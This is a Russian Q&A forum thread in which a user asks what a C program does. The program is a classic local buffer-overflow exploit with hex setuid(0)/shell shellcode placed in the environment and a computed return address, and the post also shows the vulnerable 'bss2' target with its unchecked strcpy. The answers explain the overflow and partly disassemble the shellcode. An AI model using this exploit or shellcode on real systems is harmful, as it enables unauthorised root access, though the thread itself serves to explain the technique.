Что делает эта программа? - PullRequest
       65

Что делает эта программа?

1 голос
/ 15 апреля 2011
#define bufsize 260
/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */
char shellcode[] ="\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; 

int main(void){
    char buf[bufsize] ;
    char *proc[]={"./bss2",buf,NULL};
    char *envir[]={"Bytes=2Lu",shellcode,NULL};
    unsigned long ret_addr = 0xc0000000 - strlen(proc[0]) - strlen(shellcode) - sizeof(void *) - 0x02;
    memset(buf,0x42,sizeof(buf));
    memcpy(buf + bufsize - 4,(char *)&ret_addr,4);
    execve(proc[0],proc,envir);
    return 0;
}

что эти memcpy и memset до execve делают? Как это влияет на программу proc?

ОБНОВЛЕНИЕ кода для bss2

#define LEN 256
void output(char *);
int main(int argc, char **argv) {
    static char buffer[LEN];
    static void (*func) (char *);
    func = output;
    strcpy(buffer, argv[1]);
    func(buffer);
    return EXIT_SUCCESS;
}
void output(char *string) {
    fprintf(stdout, "%s", string);
}

UPDATE

Кажется, теперь проблема сводится к тому, где расположены переменные среды?

Ответы [ 6 ]

3 голосов
/ 15 апреля 2011

Код создает строку аргумента и среду (например, место, где живут переменные среды).Аргумент содержит "./bss2" в argv[0] и строку из 256 B символов, за которой следует адрес возврата в argv[1].Окружение содержит фиктивную переменную в первом месте и шелл-код во втором месте.

Предположительно, целевое приложение bss2 содержит переменную char x[256];, в которую оно копирует argv[1] без границпроверка.Это приводит к тому, что адрес возврата функции перезаписывается адресом возврата, вычисленным в ret_addr, который, как мы надеемся, указывает на блок среды.

0 голосов
/ 15 апреля 2011

В качестве упражнения для себя я начал разбирать шелл-код вручную.Я дошел до:

XOR ebx, ebx  #clear ebx
PUSH ebx     #push ebx onto the stack
LEA eax, [ebx+23]  #load 23 into eax
INT 80      #do a system call

После этого мне стало скучно, но системный вызов 23 в linux для вызовов INT 80 - это sys_setuid, поэтому похоже, что это код для установки UID равным 0, илиполучить root.Не удивительно, так как это шелл-код.:-)

0 голосов
/ 15 апреля 2011

Кажется, что есть некоторые элементы, которые не определены кодом, который вы опубликовали.Шелкод определяется как макрос или что-то?Значение bufsize также неизвестно.

Кажется, что вызов memset инициализирует буфер buf с восьмеричным значением 0x42.

Кажется, что вызов memcpy вставляет адрес в конец буфера.

Как уже упоминалось, этот буфер (buf) в конечном итоге передается в качестве аргумента процессу bss2.

0 голосов
/ 15 апреля 2011

Я не эксперт, но похоже, что он пытается запустить какой-то эксплойт.

Индикаторы включают идентификатор shellcode, манипулирующий аргументами другого исполняемого файла с помощью memset / memcpy и вычисляющий некоторое значение ret_addr.

0 голосов
/ 15 апреля 2011

Не удается скомпилировать, потому что bufsize и shellcode не определены.

Более серьезно, похоже, что он пытается использовать переполнение буфера или подобное в командной оболочке под названием bss2.

0 голосов
/ 15 апреля 2011

Мне кажется странным, потому что аргумент buf не заканчивается нулем.

Ну, memset и memcpy делают хак с первым аргументом программы, а затем execve запускает его.Извините, не могу сказать больше ...

...